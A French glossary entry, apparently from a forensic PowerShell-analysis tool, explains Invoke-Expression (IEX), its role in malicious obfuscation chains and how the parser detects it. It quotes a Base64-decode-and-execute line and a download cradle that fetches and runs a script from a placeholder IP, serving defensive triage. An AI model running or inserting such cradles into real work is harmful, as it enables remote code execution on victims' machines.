Glossaire
Invoke-Expression (IEX)
Applet de commande PowerShell qui exécute une chaîne comme du code : la moitié « exécution » de la plupart des cradles et chaînes d'obfuscation.
Invoke-Expression (alias IEX) est une applet de commande PowerShell qui évalue une chaîne comme une commande et renvoie le résultat. Quel que soit le texte reçu, qu'il ait été tapé, décodé depuis du Base64, décompressé d'un flux gzip ou téléchargé depuis un serveur web, il devient du code exécuté dans la session courante. [scriptblock]::Create($s) suivi de l'opérateur d'appel produit le même effet et sert souvent de substitut lorsque les attaquants veulent éviter ce nom bien connu.
Pourquoi c'est important en investigation
IEX est la moitié « exécution » de la plupart des lignes malveillantes. L'obfuscation ne fait que transformer du texte ; à un moment donné, ce texte doit être exécuté, et IEX est le moyen le plus court d'y parvenir. C'est pourquoi il apparaît à la fin de la plupart des cradles de téléchargement et des chaînes de décodage, et pourquoi les attaquants déguisent le nom lui-même avec des astuces comme IEX, ('IE'+'X') ou des codes [char].
Des usages légitimes existent, par exemple dans des scripts de build qui assemblent une commande dynamiquement, mais ils sont rares dans l'administration courante. Un IEX appliqué à une chaîne qui vient d'être téléchargée ou décodée est un fort signal de tri, et l'argument qu'il a reçu vous indique ce que l'attaquant voulait réellement exécuter.
Exemple
Deux formes courantes, l'une exécutant une charge utile décodée, l'autre une charge utile téléchargée :
$s = [Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($b64)); IEX $s
IEX (New-Object Net.WebClient).DownloadString('http://198.51.100.23/a.ps1')
Le parseur signale IEX, Invoke-Expression et [scriptblock]::Create par une détection Invoke-Expression de gravité moyenne. Lorsqu'une primitive de téléchargement apparaît dans le même texte, comme sur la deuxième ligne, les deux sont combinées en une seule détection de cradle de téléchargement de gravité élevée. Un IEX inclus dans un mot plus long, comme un nom de fichier, n'est pas pris en compte.
Termes associés
- Cradle de téléchargement, un téléchargement plus
IEX - Commande encodée, source fréquente de la chaîne exécutée
- AMSI, qui analyse la chaîne avant que
IEXne l'exécute - Journalisation des blocs de script, qui enregistre le code compilé par
IEX
Repérez les chaînes IEX dans vos éléments de preuve avec PowerShell Parser, et consultez décoder les commandes encodées et l'obfuscation pour voir comment le nom caché est révélé.